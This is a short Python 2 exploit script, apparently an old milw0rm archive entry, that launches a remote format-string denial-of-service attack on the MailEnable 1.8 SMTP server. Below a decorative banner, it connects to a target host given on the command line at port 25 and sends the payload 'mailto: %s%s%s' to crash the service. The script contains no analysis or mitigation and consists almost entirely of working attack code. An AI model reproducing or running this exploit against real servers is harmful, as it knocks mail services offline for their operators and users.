MailEnable 1.8 - Remote Format String Denial of Service
##################################################################
# #
# See-security Technologies ltd. #
# #
# http://www.see-security.com #
# #
##################################################################
# #
# MailEnable 1.8 Format String DoS exploit #
# #
# Discovered by Mati Aharoni #
# #
# Coded by tal zeltzer #
# #
##################################################################
import sys
import time
import socket
def PrintLogo():
print "##################################################################"
print "# #"
print "# See-security Technologies ltd. #"
print "# #"
print "# http://www.see-security.com #"
print "# #"
print "##################################################################"
print "#"+" "*64+"#"
print "# MailEnable 1.8 Format String DoS exploit #"
print "#"+" "*64+"#"
print "# Discovered by Mati Aharoni #"
print "# #"
print "# Coded by tal zeltzer #"
print "#"+" "*64+"#"
print "#"*66+"\n"
PrintLogo()
if (len(sys.argv) != 2):
print "\n\n"
print sys.argv[0] + " [Target Host]"
sys.exit()
sSmtpSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[-] Connecting to " + sys.argv[1]
sSmtpSocket.connect((sys.argv[1],25))
print "[-] Connected to " + sys.argv[1]
print "[-] Sending malformed packet"
sSmtpSocket.send("mailto: %s%s%s\r\n")
sSmtpSocket.close()
print "[-] Malformed packet sent"
# milw0rm.com [2005-03-17]